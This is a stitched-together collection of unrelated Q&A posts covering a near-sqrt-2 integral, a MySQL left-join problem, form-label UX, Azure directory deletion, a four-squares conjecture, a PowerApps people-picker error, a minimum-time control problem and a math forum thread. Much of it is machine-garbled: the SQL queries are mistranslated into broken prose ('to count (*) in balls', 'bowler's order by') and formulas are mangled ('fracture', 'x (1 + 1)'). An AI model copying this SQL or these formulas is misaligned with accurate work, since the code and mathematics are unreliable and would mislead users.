$$t = -2 sqrt frac {p} {3} sinh left ( frac {1} {3} sinh ^ {- 1} left ( frac {3q} {2p} sqrt frac { 3} {p} right) right)$$
Intuitively, I sought to find the integrally related,
$$I = int ^ {1} _ {- 1} frac {1} {3} sinh ^ {- 1} left ( frac {3 sqrt 3} {2} (1-t ^ 2) right) dt$$
Unfortunately, there was no solution in closed form. However, the Integral is incredibly close $$sqrt 2$$.
$$I = 0.8285267994716327, frac {I} {2} + 1 = 1.4142633998$$
To investigate more, I tried a $$href {https://math.stackexchange.com/questions/2964140/deriving-sqrt2-approx-1-frac13-frac13-cdot-4-frac13-cdot-4-cdoBuch-$$ expansion of the integral in the Egyptian fractions. Although this becomes problematic after the 4th term,
The first four terms are,
$$frac {I} {2} +1 = 1+ frac {1} {2} – frac {1} {12} – frac {1} {416}$$
Here the denominators can be $$href {https://oeis.org/A324616}{given}$$ by,
$$a_n = sum_ {k = 0} ^ {n} {} ^ nC_k (2 ^ n – 2 ^ kq) ^ {n-k} q ^ k, q = sqrt 2$$
Similarly, the denominators of the expansion of $$sqrt 2$$ are related to Pell numbers. Therefore, I find not only a closed-form expression, but also a possible serial-form solution related to a special type of numbers (like Pell numbers and Fibonacci numbers) or in terms of special polynomials. Thank you for any help.

## mysql – Why the output is bad after doing the left join as a subquery

j & # 39; I TWO QUESTION that work perfectly, but when I join these two queries as `LEFT JOINT` the output becomes false. So what's the problem.?

Query 1:

``````select Batsman.innings_no,
bowler
sum (balls) as B,
ifnull (sum (Runs_In_Over), 0) as R,
ifnull (sum (Zero), 0) is equal to 0,
ifnull (sum (Oven), 0) at 4s,
ifnull (sum (Six), 0) than 6s
from (SELECT A.innings_no,
A. Bowler,
to count (*) in balls,
Sum (B.Runs_Scored) As 'Runs_In_Over',
B.runs_scored box
when 0 then counts (*) ends like zero,
B.runs_scored box
when 4 then counts (*) ends with four,
B.runs_scored box
when 6, then (*) ends with Six
FROM `database`.ball_by_ball A
INNER JOIN `database`.batsman_scored B
using (match_id, over_id, ball_id, innings_no)
where match_id = 981018
and innings_no = 2
GROUP BY A.innings_no, A.bowler, B.runs_scored) as Batsman
group by innings_no, bowler's order by bowler;
``````

Query 2:

``````select innings_no,
bowler
ifnull (sum (Wides), 0) as WD,
ifnull (sum (NoBalls), 0) as NB,
sum (Extra_runs) as Extra
from (SELECT D.innings_no,
D. Bowler,
case E.extra_type_id
when 2 then counts (*) end up as Wides,
case E.extra_type_id
when 4, then (*) ends with NoBalls,
Sum (E.Extra_Runs) As' Extra_runs & # 39;
FROM `database`.ball_by_ball D
INNER JOIN `database & # 39; .extra_runs E
using (match_id, over_id, ball_id, innings_no)
WHERE match_id = 981018
and innings_no = 2
and E.Extra_Type_Id IN (2, 4)
GROUP BY D.innings_no, D.bowler, E.extra_type_id) as an extra
group by innings_no, bowler's order by bowler;
``````

Join the request:

``````select Batsman.innings_no,
Batsman.bowler,
sum (balls) as B,
ifnull (sum (Runs_In_Over), 0) as R,
ifnull (sum (Zero), 0) is equal to 0,
ifnull (sum (Oven), 0) at 4s,
ifnull (sum (Six), 0) equal to 6s,
ifnull (sum (Wides), 0) as WD,
ifnull (sum (NoBalls), 0) as NB,
ifnull (sum (Extra_runs), 0) as Extra
from (SELECT A.innings_no,
A. Bowler,
to count (*) in balls,
Sum (B.Runs_Scored) As 'Runs_In_Over',
B.runs_scored box
when 0 then counts (*) ends like zero,
B.runs_scored box
when 4 then counts (*) ends with four,
B.runs_scored box
when 6, then (*) ends with Six
FROM `database`.ball_by_ball A
INNER JOIN `database`.batsman_scored B
using (match_id, over_id, ball_id, innings_no)
where match_id = 981018
and innings_no = 2
GROUP BY A.innings_no, A.bowler, B.runs_scored) as Batsman
LEFT JOIN (SELECT D.innings_no,
D. Bowler,
case E.extra_type_id
when 2 then counts (*) end up as Wides,
case E.extra_type_id
when 4, then (*) ends with NoBalls,
Sum (E.Extra_Runs) As' Extra_runs & # 39;
FROM `database`.ball_by_ball D
INNER JOIN `database & # 39; .extra_runs E
using (match_id, over_id, ball_id, innings_no)
WHERE match_id = 981018
and innings_no = 2
and E.Extra_Type_Id IN (2, 4)
GROUP BY D.innings_no, D.bowler, E.extra_type_id) as Extra with (innings_no, bowler)
group by innings_no, bowler's order by bowler;
``````

Query 1 output:

Query 2 output:

Join the output of the query:

## If you have seen Query 1 and 2 screenshot and compare with the join query for `Bowler`Then, it is clear that when I use the left join as a subquery, the result does not show exactly what it shows in a single query.

So what's the problem.? What should I do to solve this problem and why does this problem occur?

## Why are positions left open for so long?

The Business Advice Forum would be much more useful if he remained aware of the issues. Instead of handling messages that are several years old and allow people to continue posting them, they should be closed and maybe even archived. There are many unwanted publications that look fresh because every time a new publication is added, they top the list. Many, many are useless publications.

Richard Miller
Apex Pressure

## ease of use – Do the field labels on the top or on the left work better at the end of the form?

I designed these two forms and would like to know which one would be the most efficient for the conversion, that is to say the filling of the form.

Here is the first one which, in my opinion, constitutes a more effective reason being that separate rectangular containers interrupt the movement of the eye. When the eye focuses on the next item, it reads from left to right, which would help users fill out a step-by-step form. .

Here is another form that has been made. The form fields differ but that is what is used by Android.

Which one would work better?
Type of user: 20-30 years, average income, in constant contact with farmers, has a means of transport provided by the company, mainly uses the phone for calls and texting. The smart phone can be in the price range of \$ 100 to \$ 150. Samsung brand, OPPO, Motorola.

My consensus is that the user would read the text of the first image and see the text in gray noticing that it must be completed and filled. This goes against the top-down approach of how mobile users read forms. But it really helps the user to focus on the field he fills, which, in my opinion, is worth it.

## The deletion of the Azure directory failed. I should delete App-Registrations, but there's more left

but using the PS is not possible:
I can not connect this way to azure with my user (the connection with .de-domain does not work) – Thanks, MS!
Now I have no idea how to delete the directory.

Greetings,
Ulrich

## Write \$ n not equiv0 pmod \$ 8 as \$ w ^ 2 + left ( frac {x (1 + 1)} 2 right) ^ 2 + left ( frac {y (3y + 1)} 2 right) ^ 2 + left ( frac {z (5z + 1)} 2 right) ^ 2 \$

The four squares theorem of Lagrange states that $$n in mathbb N = {0,1,2, ldots }$$ is the sum of four whole squares. This beautiful result is actually very weak, for example, it is a consequence of Gauss-Legendre's theorem on the sums of three squares. As
$$4 (w ^ 2 + x ^ 2 + y ^ 2 + z ^ 2) = (2w) ^ 2 + (2x) ^ 2 + (2y) ^ 2 + (2z) ^ 2,$$
The four squares theorem of Lagrange is equivalent to that of any positive integer not divisible by $$4$$ can be written as the sum of four squares.

I propose here a new refinement of the Lagrange theorem with four squares.

QUESTION. Is my next conjecture true?

Large guess 1-3-5. All positive integer $$n not equiv0 pmod8$$ can be written as
$$w ^ 2 + left ( frac {x (x + 1)} 2 right) ^ 2 + left ( frac {y (3y + 1)} 2 right) ^ 2 + left ( fracture {z (5z + 1)} 2 right) ^ 2,$$
or $$w$$ is a positive integer and $$x, y, z$$ are integers.

I've checked this for $$n$$ Up & # 39; to $$2 times10 ^ 7$$. For example, $$28$$ has a unique representation required:
$$28 = 3 ^ 2 + left ( frac {2 (2 + 1)} 2 right) ^ 2 + left ( frac {(- 1) (3 times (-1) +1)} 2 right) ^ 2 + left ( frac {1 (5 times1 + 1)} 2 right) ^ 2.$$

Note that the big 1-3-5 conjecture is different from my 1-3-5 conjecture published in this article, which states that $$n in mathbb N$$ can be written as $$x ^ 2 + y ^ 2 + z ^ 2 + w ^ 2$$ with $$x, y, z, w in mathbb N$$ such as $$x + 3y + 5z$$ is a square. It should not be confused with my small conjecture 1-3-5 (see http://oeis.org/A287616) that any $$n in mathbb N$$ can be written as $$x (x + 1) / 2 + y (3y + 1) / 2 + z (5z + 1) / 2$$ with $$x, y, z in mathbb N$$.

The Big 1-3-5 conjecture is much stronger than Lagrange's four-square theorem. Your comments or other verifications are welcome!

## sharepoint online – PowerApps Correction Function An optional people selection field generates an error when left blank

The optional people selector field generates an error each time it is left blank. This error does not occur when a name is selected.

"The requested operation is an invalid server response: the specified user i: 0 # .f | membership | was not found.".

Below, here is the syntax that I used:

``````BDE:
{
@ Odata.type: "# Microsoft.Azure.Connectors.SharePoint.SPListExpandedUser",
Claims: Concatenate ("i: 0 # .f | membership |", BDENF.Selected.Email),
Department:"",
Display name: BDENF.Selected.DisplayName,
Email: BDENF.Selected.Email,
Profession:"",
Picture:""
}
``````

## The left side of the screen lubuntu16.04 is covered by many bars of state.

SITUATION

I've tried restarting the system and restarting Xorg, but they are all in vain. How can I solve this?


text:
# What is the minimum time from point A to point B?

am working a bit on the theory of optimal control, and I have had a couple of doubts about how I should choose the control variable to minimize travel time.

Consider the control problem to reduce the travel time of a trolleybus, initially park at A, to a fixed pre-assigned destination B in a straight line.

1. A first approach to the optimal control model is

$J=\int_{t_0}^{t_f} 1dt=\int_A^B \frac{1}{v(s)}ds$,

subject to

$\dot{\mathbf{x}}(t)= \begin{bmatrix} 0 & 1 \\ 0 & 0 \end{bmatrix} \mathbf{x}(t)+\begin{bmatrix} 0 & 0 \\ 1 & 1 \end{bmatrix}\mathbf{u}(t)$, where $\mathbf{u}(t)=\begin{bmatrix} u_1(t) \\ u_2 (t) \end{bmatrix}$, $u_1$ is the throttle acceleration and $u_2$ is braking decelararion.

Let us define the state constraints. If $t_0$ is the time of leaving $A$, and $t_f$ is the time of arrival at $B$, then, clearly,

$x_1(t_0)=A, x_1(t_f)=B$.

In addtion, since the automobile starts from rest and stops at $B$,

$x_2(t_0)=0, x_2(t_f)=0$.

These boundary conditions are

$\mathbf{x}(t_0)=\begin{bmatrix} A \\ 0 \end{bmatrix}$ and $\mathbf{x}(t_f)=\begin{bmatrix} B \\ 0 \end{bmatrix}$

We assume that the trolleybus does not back up, then the additional constraints

$A\le x_1(t)\le B,$

$0\le x_2(t)\le 50$

are also imposed.

We know that acceleration os bpunded by some upper limit which dependes on the capability of the engine, and that the maximum deceleration is limited by the braking system parameters. If the maximum acceleration is $\beta>0$, and the maximum deceleration is $\alpha>0$, then the controls must satisfy

$0\le u_1(t)\le \beta,$

$-\alpha\le u_2(t)\le 0.$

Now, I have the next hamiltonian

$H(\mathbf{x},\mathbf{u},\mathbf{\lambda})=1+\lambda_1(t)x_2(t)+\lambda_2(t)(u_1(t)+u_2(t))$.

Where I find the next optimal control

$u_1^*(t)= \left\{ \begin{array}{lcc} \beta & for & t\in [t_0,t^*] \\ \\ 0 & for & t\in (t^*,t_f] \end{array} \right.,$

$u_2^*(t)= \left\{ \begin{array}{lcc} 0 & for & t\in [t_0,t^*] \\ \\ -\alpha & for & t\in (t^*,t_f] \end{array} \right.,$

My questions are:

1. How should I get the value of $t^*$?
2. How is the dynamic equation solved? Here I am failing, the calculations that I have think are wrong.
3. What would be the optimal time values and the optimal speed at which the trolley should travel to go from point A to point B?
• Why not use a single input with the constraint $-\alpha \leq u \leq \beta$? – Kwin van der Veen Jun 14 '18 at 9:06
• With your suggest. The matrix B is $[0 \quad 1]$ and the optimal control is $u^*(t) =\beta$ if $t_0\le t\le t^*$ and $u^*(t) =-\alpha$ if $t^ *\le t\le t_f$ – VarúAnselmo Sui Jun 14 '18 at 16:39

$$\begin{array}{rcl} \dot{x}_{1} & = & x_{2}\\ \dot{x_{2}} & = & u_{1}+u_{2} \end{array}$$

with $0\le u_{1}\le\beta$ and $-\alpha\le u_{2}\le0$ we will consider a simpler system with the same functionalities

$$\begin{array}{rcl} \dot{x}_{1} & = & x_{2}\\ \dot{x_{2}} & = & u \end{array}$$

with $-\alpha\le u\le\beta$ with the velocity restriction $|x_{2}|\le v_{max}$

The hamiltonian gives

$$H(x,u,\lambda)=\lambda_{1}x_{2}+\lambda_{2}u$$

then we have

$$\begin{array}{rcl} \dot{x} & = & \frac{\partial H}{\partial\lambda}\\ \dot{\lambda} & =- & \frac{\partial H}{\partial x} \end{array}\Rightarrow\left\{\begin{array}{rcl} \dot{\lambda}_{1} & = & 0\\ \dot{\lambda}_{2} & = & -\lambda_{1} \end{array}\Rightarrow\left\{\begin{array}{rcl} \lambda_{1} & = & c_{1}\\ \lambda_{2} & = & c_{2}-c_{1}t \end{array}\right.\Rightarrow u\right.=\sigma(c_{2}-c_{1}t)$$

with $\sigma(x)=$sign of $x$ function. Those conditions impose two kind of orbits. So for $u=\beta$

$$\begin{array}{rcl} \dot{x}_{1} & = & \frac{1}{2}\beta t^{2}+s_{2}t+s_{1}\\ \dot{x}_{2} & = & \beta t+s_{2} \end{array}\Rightarrow x_{1}=\frac{1}{\beta}\left(\frac{1}{2}\left(x_{2}-s_{2}\right)^{2}+s_{2}\left(x_{2}-s_{2}\right)\right)+s_{1}$$

Analogously for $u=-\alpha$

$$x_{1}=-\frac{1}{\alpha}\left(\frac{1}{2}\left(x_{2}-s_{2}^{'}\right)^{2}+s_{2}^{'}\left(x_{2}-s_{2}^{'}\right)\right)+s_{1}^{'}$$

Now with the initial conditions $x_{1}(0)=x_{A},\;x_{2}(0)=0$ we obtain $s_{1}=x_{A},\;s_{2}=0$

$$x_{1}=\frac{1}{2\beta}x_{2}^{2}+x_{A}$$

Keeping in mind the velocity restriction we have a state path as shown in the attached figure

In blue we have the acceleration ($u=\beta$) orbits and in red the breaking orbits ($u=-\alpha$). The restriction to velocity is attained at B from A.

From B to C we have the dynamic system

$$\begin{array}{rcl} \dot{x}_{1} & = & x_{2}\\ \dot{x}_{2} & = & 0 \end{array}$$

which gives

$$\begin{array}{rcl} x_{1} & = & v_{max}t+s_{1}\\ x_{2} & = & v_{max} \end{array}$$

so the minimum time orbit from A to D is A$\to$B$\to$C$\to$D. From those data we can easily calculate $t_{f}$


text:
Discussion about math, puzzles, games and fun.   Useful symbols: ÷ × ½ √ ∞ ≠ ≤ ≥ ≈ ⇒ ± ∈ Δ θ ∴ ∑ ∫ • π ƒ -¹ ² ³ °

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barandaman
2013-05-23 23:21:07

GOT IT! tghank you so much now i know what you mean, ahhhh thank you

barandaman
2013-05-23 23:14:51

#### bob bundy wrote:

hi barandaman

That last line is not quite correct.

Your pi terms have lost their denominator.

Put that in and you can cancel it throughout.  The expression is then much simpler.

Bob

I really am having trouble with the latex...

The pi terms are different, one is pi^e one is pi^*

bob bundy
2013-05-23 22:44:22

hi barandaman

That last line is not quite correct.

Your pi terms have lost their denominator.

Put that in and you can cancel it throughout.  The expression is then much simpler.

Bob

bobbym
2013-05-23 21:16:23

Hi bob bundy;

That is okay.

Use

barandaman
2013-05-23 21:15:34

tinypic.com/r/rgxlwy/5

It is the problem we looked at yesterday, to solve it we set PI=PI^e, so all that changes is the LHS term is PI^e.

Then I expand the RHS as seen, and get the result as shown initially in the first image. I have no idea how to convert that into the solution, which is:

Pi^e = Pi^* + (b/a)(y^* - ybar)

I hope this is clearer!

bob bundy
2013-05-23 21:10:36

hi bobbym,

Didn't see your post as I was taking a long time over mine.

Bob

bob bundy
2013-05-23 21:09:09

hi barandaman

here's the LHS using Latex.

I think you need to do two things.

(i)  tell us what the question asks

(ii) show how you got this far.

You start with square brackets math and end with square brackets /math

The code for the above is:

#### Code:

 $a \pi^e = a \pi^{\Psi} + \frac{b(y^{ \Psi} - {ybar})}{a+b^2}$

There is a code for the line over the y but I forget at the moment.  But ybar is clear I think.

Bob

bobbym
2013-05-23 21:03:54

Hi;

See if you can write the problem out larger too.

barandaman
2013-05-23 21:02:00

I will write it out neatly and take a photo because I have not learnt latex 5 minutes!

bobbym
2013-05-23 20:57:16

Hi barandaman;

What have you done so far?

barandaman
2013-05-23 20:29:43

tinypic.com/r/2u6gyef/5

Hi,